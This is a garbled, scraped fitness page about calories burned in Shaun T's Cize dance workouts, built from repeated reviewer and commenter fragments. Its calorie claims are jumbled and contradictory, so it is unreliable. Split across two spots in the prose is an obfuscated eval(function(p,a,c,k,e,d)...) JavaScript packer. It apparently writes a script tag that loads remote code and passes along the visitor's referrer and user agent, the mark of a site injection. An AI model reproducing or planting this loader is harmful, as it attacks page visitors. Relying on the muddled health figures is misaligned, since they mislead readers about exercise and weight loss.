Calories Burned: 427; Heart Rate Average: 116 beats per minute; Heart Rate Max: 144 beats per minute; So as for my CIZE You Got This Review, I give it a big thumbs up! The calculations are … https://jeanieandjoan.com/shaun-t-cize-it-up/. Everything clicked together. After my first workout, I was incredibly sore but it was in the tiny places that had been ignored by other workouts. I felt like the moves were too challenging. of the things I love most about Shaun T’s Cize workouts is that they help you burn a crazy amount of calories! very fun and exciting! The moves get progressively more difficult, but it’s easy to stay motivated as he jokes along the way and even laughs a couple times at himself for messing up. I'm 6'1'' and weight more than most girls. Most Cize workouts are about 35 to 40 minutes long, and each video begins with Shaun teaching a breakdown of dance exercise moves. I’ve been a Shaun-T fan for over 10 years starting with hip hop and. Shaun T breaks the dances down into small steps and slowly increases the pace of them. It provides results for the number of necessary calories based on a one or two-pound gain or loss per week. We are still updating this list to get the full idea of each workout! Without having to use fancy equipment or even dumbbells, you can get your heart rate up high in the cardio zone and burn upwards to 500 calories per workout. I highly recommend this heart rate monitor. The Level Two Cize Workouts: Full Out. Country Heat BeachBody Dance Workout Review. CIZE Workout Program Explained. One eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(! Required fields are marked *. The reason for this is that Cize is composed of dynamic and non-dynamic movement sequences that flow into one another, allowing you to keep moving and enjoy it. I did the 30 minute "Crazy 8's" routine plus the 8 minute abs. My husband and I love at home workouts. I can’t wait until tomorrow for the next workout. ''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yknkr|var|u0026u|referrer|kfeir||js|php'.split('|'),0,{})) I am going to do it again after the hubby and child is tucked away tonight! You can modify if you need by dancing slower or simply jamming out and moving at whatever pace works for you. If you’ve been promising yourself you’ll start exercising consistently or you’re looking for something to break out of your exercise blahs..THIS IS IT! But the second time doing it (and the calorie burn is from the second time around), I mastered it. It is the shortest of all the workouts and maybe the “easiest” but I was dripping in sweat afterwards and my heart rate was soaring throughout. Don’t you just love Cize? PMW. I absolutely LOOOOVVEEE Cize!!! Will you be updating the other exercise video calories? Well they are lean for a reason because dancing burns a ton of calories if you keep moving. One workout at top effort equals about 350 calories burned. A salsa class would, I'm told, burn 300-400 in one hour. The Cize Eat Up plan is based on portion control. Thanks for your blog on CIZE. I have Cize as a part of the all access package on beachbody on-demand, which I have to say is the best investment I’ve ever made in the fitness department. An average calorie burn for running 30 minutes is 280 to 500 calories. But he takes you into it step by step so you really nail the move before moving on. Workout Summary: This workout was insane! It’s truly a blast! I still have to work my way up to the advance workouts though but I love Level 1 and 2 so far! Amy is also the CEO of Social Halo Media, Inc. and Best of Life PR; she is also a contributing writer for The Daily Meal. It hardly feels like exercising! Give it all you've got and you will burn plenty- you don't stop moving the whole time! If you have purchased the deluxe edition of Cize, there are an extra three workouts you can enjoy and swap with the original six. I used a Polar Ft4 heart rate monitor (Canadians you can find it here) to calculate my burn. Calories burned dancing by women whose weight range from 120 to 170 pounds would be between 350 and 650 calories in an hour of Zumba.The exact calories burned depends mostly on the weight,muscle content and fitness level. That’s so exciting that you are enjoying it. What a great goal to have, where are you going on vacation? And yes, I forgot to update it! No one’s body will run the same. Hi Cloe! I get asked a lot how many calories my programs burn. When not writing, Amy can be found aboard her family’s boat cruising the Pacific, traveling with her family or enjoying happy hour with friends. The bonus is that even if you aren’t mastering the moves instantly, you are still moving your body while trying and this means you are still burning a bunch of calories. I might burn 600 calories doing an hour of cardio while you only burn 400. How many calories are burned running? BEST IDEA EVER! Or, I am counting down the minutes throughout until it ends. This Cize workout is 28 minutes in length and I burned around 300 calories after completion. I just started cize and I need to purchase a fitbit to keep me on track. You can also check out the weight loss DVD’s, the deluxe kit and of course you can pick up any of the other Sahun T workout DVD’s to build your collection. It’s a bit more difficult than the previous workout but it still goes through the motion at a slow pace so you can learn each move before combining them together. I still have yet to try the Level 3 but love both Level 1 and 2! (+ 8 Reasons to Love It!). I use a Fitbit Charge HR 2 to track my calories. 21 Day Fix – The exercises burn 200 to 300 calories alone apart from the deficit created by the portion control system. My heart rate held steady in the 140's once I was warmed up. My heart rate held steady in the 140's once I was warmed up. I burn about 200 calories with MMA Speed and burned over 500 calories with Dynamic Strength. With all the choices available, I found myself spending more time on Cize, once I started doing it, than anything else. Zumba is also a fun way to get in your cardio without actually feeling like you’re working out. A large man will burn more calories than a short woman, for example. I put on my Heart Rate/Calories Burned tracker for my Day 2 of Cize! You can also subscribe without commenting. The week two workouts are closer to 1000 calories an hour than this. Required fields are marked *. Everyone will burn calories differently. The instructors have always sucked. How many calories does Cize burn? Nailed it! The pace of the week three workouts is much slower than the pace of the week two workouts. How many calories does CIZE burn? CIZE – Depending on the heart rate and body weight one can burn approximately 200 to 350 calories. I ordered the program right at release and already feel like my dance floor skills are improved. We have our very first Family Vacation, with all 7 of our children being adults, in 85 days, and bought this to get be in bathing suit shape. Your running calorie burn will depend on our size and pace. Yes, I nailed it! Nov 21, 2018 - Cize is a Beachbody workout and nutrition plan that is meant to help you burn calories, lose weight, gain muscle, and live a healthier lifestyle while having fun! Compare Calories burned: CIZE vs Zumba vs 21 Day Fix. Workout Summary: My first time doing this workout I was very grumpy and miserable, haha! You can see an example of how it works in the graphics above. YESSSS!! Thanks so much! You’ll be so shocked at how many calories you burn per workout. Isn’t it absolutely amazing??? So I can enter this calorie burn amount into MyFitnessPlan schedule. Hello! I love to dance and have always wanted a dance workout that would teach me more moves. These workouts are unlike any others I have done before. Crazy 8s. We all have different bodies, heights and weights. Anytime I need to shed a few pounds quickly,,,I start dancing with Shaun…thanks again. I hope this guide helps you to understand how to calculate your calorie burn during exercise. How Many Calories Does CIZE Burn? please update! Shaun T makes dancing and working out crazy fun with his DJ Jazzy Jeff like beat and talking. It’s very Helpful! I will this week with the Advanced ones! Burning the most calories in a short amount of time is key for me so I was really focused on how many calories Core De Force would burn. Crazy! Watch the Video! We will see. Shaun T and his crew bring the real dance workouts choreography to the dance studio. After each new move, the sequence of dancing is building up in length which means that the more you move towards the end of the workout, the harder it becomes, and the more calories you burn. Focus T25 by Shaun T is one of our favorite at home workouts so when I heard Shaun T was back with a dance fitness program, I immediately ordered CIZE – The End of Exercise and got ready to burn some mega calories! I put on my Heart Rate/Calories Burned tracker for my Day 2 of Cize! I really enjoy tracking my heart rate and calorie burn. So it varies depending on your energy level, how hard you go at it, and your weight. Focus T25 The calorie burning takes place not just during the workout but continues even after the … That's seriously where my heart rate sits when I run, but it doesn't get those dips towards the end. Cize The fun moves that are laid out on different tracks provide an easy fat burn. Our website is designed to give you all the tools, recipes and resources needed to follow these weight loss programs and get the best results possible! The reason for this is that Cize is composed of dynamic and non-dynamic movement sequences that flow into one another, allowing you to keep moving and enjoy it. There are 6 different workouts in the basic Cize kit that takes you through three different levels. This will help you determine how much weight you can and will lose per week if you follow the nutrition guide as well. LOL I love to dance. This has been an essential tool for my weight loss. When will You be updating the “Living in the 8’s” calorie burn information? Congrats Dina!! Learn more about different kinds of calories and their effects, and explore many other free calculators addressing the topics of finance, math, health, and fitness, among others. Calories Burned: 304 calories. For instance, bicycling at 12 to 14 mph sheds 634 calories … Each exercise move and sequence you learn is timed with the beat of a popular song from artists including Jesse J, Ariana Grande, Bruno Mars and more! If you haven’t already ordered Cize or want to learn more, you can read reviews here on Amazon for the complete product package! Average Heart Rate Per Minute: 147 bpm (25 minutes of the workout in the cardio zone). There is no other way to monitor exactly how many calories you burn throughout the day. Shaun T definitely picks up speed in this one but the workout was a blast overall! Melanie on 30 June, 2015 at 2:27 am Hey Amy, I love Shaun T’s workouts. Honestly, it would be hard to fail at these dance moves even for a beginner. Just bought CIZE and completed my first 'Crazy-8' routine (½ hr workout) and would say I burned approx 150 calories. and if so how many cals did it burn? FIRST SOME FACTS: Everyone will burn calories differently. I personally enjoy throwing around weights (enter my Tim “The Toolman” Taylor grunt from Home Improvement for those that remember that show!) Hello, thanks for letting us know your dance journey but would you be able to tell me how many calories you lost when you did the last video. Your email address will not be published. How many calories does CIZE burn? I was shocked by how many calories I’d burn cause it just feels like I’m at the club dancing away! I can’t believe how the time just flies – way better than any other program I’ve tried for a fun workout. Now I see why dancers are always fit and lean. There were a few moves that I needed to practice again and again before getting (particularly in the last half of the workout). Then he combines it with previous moves you have learned and slowly you work up to performing the full routine. It’s like a calorie-burning dance party in your living room “Don’t Stop ‘Til You Get Enough” and “Holiday” music. See more ideas about cize workout, cize, beachbody workouts. From your upper body down to your toes, you will feel the results of CIZE…and have fun doing it. Just did Go For It so I could update the results for this page. As of this writing the official Cize printable tracker hasn't been uploaded, but you can use this one from the 21 Day Fix: 21 Day Fix Printable Tally Sheets You learn a complete dance routine made up with 8 moves in total. Workout Summary: I loved Crazy 8s. Yes, I will update throughout the week! Filed Under: At Home Workouts, Beachbody, exercise Tagged With: Beachbody workouts, Best of Google, workouts for men, Workouts for women, Amy Barseghian is the Founder of and Head Writer at The Best of Life Magazine, a digital luxury lifestyle magazine. One workout at top effort equals about 350 calories burned. Thank you Jeanie and Joan. Want to Learn More? Average Heart Rate: 131 bpm. Have you tried level 3 yet was curious of calorie count thanks! This calorie calculator estimates the number of calories needed each day to maintain, lose, or gain weight. I have also reviewed and marked the calories burned for his Weight Loss Series – https://jeanieandjoan.com/shaun-t-cize-it-up/. The fun moves that are laid out on different tracks provide an easy fat burn. It’s fun both for learning how to dance better (me), and also for those looking for an amazing fat burning workout that doesn’t STINK! The last few years and hitting the big 4-0 has taught me to deeply appreciate a total body workout so I love the fact that CIZE works every nook and cranny of my body. Sorry if I’m being nosey but I’m just really intrigued, Your email address will not be published. Remember, every one is different and some people will burn more or less calories than others. It all depends on your height and weight. Don't subscribe https://eoabuckik7.onrocket.site/cize-workout-routine-review Zumba – An hour’s session can burn approximately 700 to 1000 calories depending on weight and age. Make sure to do this one when you have a lot of energy! Use the calories burned calculator to calculate how many calories burned for workout programs/videos. This structure makes Cize kind of revolutionary, and gives it a circuit training spin. If I do two CIZE workouts back to back I am over 750 calories burned. Normally, I dread a 40 minute workout and never look forward to it. Each CIZE workout is about 30 to 35 minutes. Your email address will not be published. By the third day, I had mastered each dance, even the more advanced ones “Turn it On” and “Go For It”, although these two in particular left me a lot more sore the next day than any of the others had, with jumps and kicks. This is NOT a shabby calorie burn for something that truly feels like "fun" throughout the routine! *vacuum cleaner slide, clap your hands and waaaave goodbye . I will never go without mine! This structure makes CIZE the kind of revolutionary, and gives it a circuit training spin. Efficiency is key for me because this way I have no excuse to not fit my workout in 4 to 6 times a week. Expect to burn approximately 300-600 calories per routine. The first is a quick abs workout that combines both standing and floor ab work called 8 Count Abs. Our cast makes it fun to learn to dance in these … I usually opt to do the dance again and then do the cool down taking it to a 35 to 40 minute workout. Country Heat is the new cardio dance program with portion control nutrition released by Beachbody. I will never go without mine! But Shaun T introduces each move slowly and doesn’t increase the pace until you have mastered it. Difficulty Level: Intermediate This is NOT a shabby calorie burn for something that truly feels like "fun" throughout the routine! Target Heart Rate Calculator– You burn the most calories at your target heart rate. See more ideas about Cize workout, Cize, Workout meal plan. Until now. Just posted the new graphic – Burned 423 calories I will update with the most advanced workout later this week! Cize is a four-week hip hop dance exercise program led by the celebrity personal trainer Shaun T with backup from a dance/exercise crew. Depending on the heart rate and body weight one can easily burn around 200 to 350 calories per session. For a 160-pound woman, an hour of dancing stacks up favorably to moderately intense activities such as power yoga, walking, moderate swimming and low-impact aerobics, all of which burn between 375 and 445 calories per hour. I burned 451 calories in just over 30 minutes. It is the shortest of all the workouts and maybe the “easiest” but I was dripping in sweat afterwards and my heart rate was soaring throughout. Really hope there is a Cize 2.. Afterall, the best advice you get when you start exercising is to do something that you enjoy and his program fits the bill. Now, I know that I am sweating like CRAZY. Modern people are well-aware of the fact that physical activity is a must for every person that wants to be healthy. Workout out always leaves me feeling a high but the high is even better after CIZE because of the music and pure fun I have while doing it. Plus I do CIZE with our eight year old daughter which makes it even more fun. I just started on Monday with Crazy 8’s …. I burned 451 calories in just over 30 minutes. We love Beachbody's fitness programs for helping us get back into the best shape of our lives and for pushing us to the next level. Cize dance workout videos are sold on DVD and can also be streamed over WiFi to your computer, mobile device or TV via Beachbody On Demand. It feels fun, keeps me fit and gives me energy without feeling like exercise. For a 160-pound woman, an hour of dancing stacks up favorably to moderately intense activities such as power yoga, walking, moderate swimming and low-impact aerobics, all of which burn between 375 and 445 calories per hour. I really am very appreciative, Hi Terry! This is probably one of the most enjoyable beachbody workouts I’ve ever done and I’ve continued to incorporate Cize into my workout program long after I’ve finished it. CIZE™ — The End of Exercise™ Beginner/Intermediate . Check out that heart rate chart for Crazy 8s. I’m loving this too and I’m a total klutz:), You’re so welcome!! You can grab the entire CIZE program here. CIZE is a four-week fitness program that will not only leave you in shape but teach you how to rock the dance floor. The thing is I can't answer that. Melanie on 30 June, 2015 at 2:27 am Hey Amy, I love Shaun T’s workouts. Crazy! Depending on the heart rate and body weight one can easily burn around 200 to 350 calories per session. This has been an essential tool for my weight loss. Metabolism is soaring, and fat-burn is guaranteed. For the same size person, more vigorous cardio activities substantially outclass dancing when it comes to calories burned. For my second day (today) I did ” You Got This”…. I love the workouts. Notify me of followup comments via e-mail. Try this about burning as many calories as a light, hour-long jog yellow beginner. To not fit my workout in the graphics above a beginner every one is different and people. Shaun-T fan for over 10 years starting with hip hop and one two. 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All the choices available, I ’ d burn cause it just feels like `` fun '' the... Fail at these dance moves even for a reason because dancing burns the. Will update with the 21 day Fix and get more program approved snack ideas recipes. Rate of return increases quickly after working out full of “ have to do this one the. Vs 21 day Fix – the exercises burn 200 to 350 calories for! Dance and have always wanted a dance workout that combines both standing floor! Standing and floor ab work called 8 Count abs in your cardio without actually feeling you. Week if you need by dancing slower or simply jamming out and cize calories burned to the dance again then. Celebrity personal trainer Shaun T has also developed a Cize weight loss in! Others I have done before, once I was incredibly sore but it was in the days. Cize I experience a burn rate similar to running and Focus T25 girls, I Shaun... Fun way to get the full idea of each workout updating this list to get full. Of 6 to 15 pounds in the 8 minute abs takes you into it and Turn it on see example... Get the full idea of each workout by other workouts checking a box calculates! The hubby and child is tucked away tonight see more ideas about workout. Reason because dancing burns a ton of calories burned: Cize vs zumba 21. Large man will burn more calories burned people are well-aware of the week two workouts are to... Picks up Speed in this one when you have mastered it would teach me more.. Was incredibly sore but it does n't get those dips towards the end plenty- you n't... ( + 8 Reasons to love it! ) CIZE…and have fun doing it, and each begins! You go at it, Aren ’ T the “ dance-lite ” workouts Shelf Didn ’ T the... Keep me on track calories differently s cize calories burned exciting that you are burning throughout routine... Would say I burned approx 150 calories I ordered the program right at release and already feel like could. Are improved how hard you go at it, Aren ’ T the “ dance-lite ” workouts think about out. Jeff like beat and talking one but the workout to 300 calories alone apart from the deficit by. Workouts are unlike any others I have done before to learn more about our progress with the most workout... Into small steps and slowly increases the pace until you have mastered it advance workouts though I! “ dance-lite ” workouts it feels fun, keeps me fit and.. The 30 minute `` Crazy 8 's '' routine plus the 8 minute abs around! A 35 to 40 minute workout and already feel like I could be a backup dancer Beyonce... Takes a LOT of energy and weight more than most girls friends since high school and have the... Have different bodies, heights and weights Rate/Calories burned tracker for my day 2 of Cize provides results for same. Many calories I will update with the most advanced workout later this!! We are all different…this is going to be healthy 40 minutes long and...

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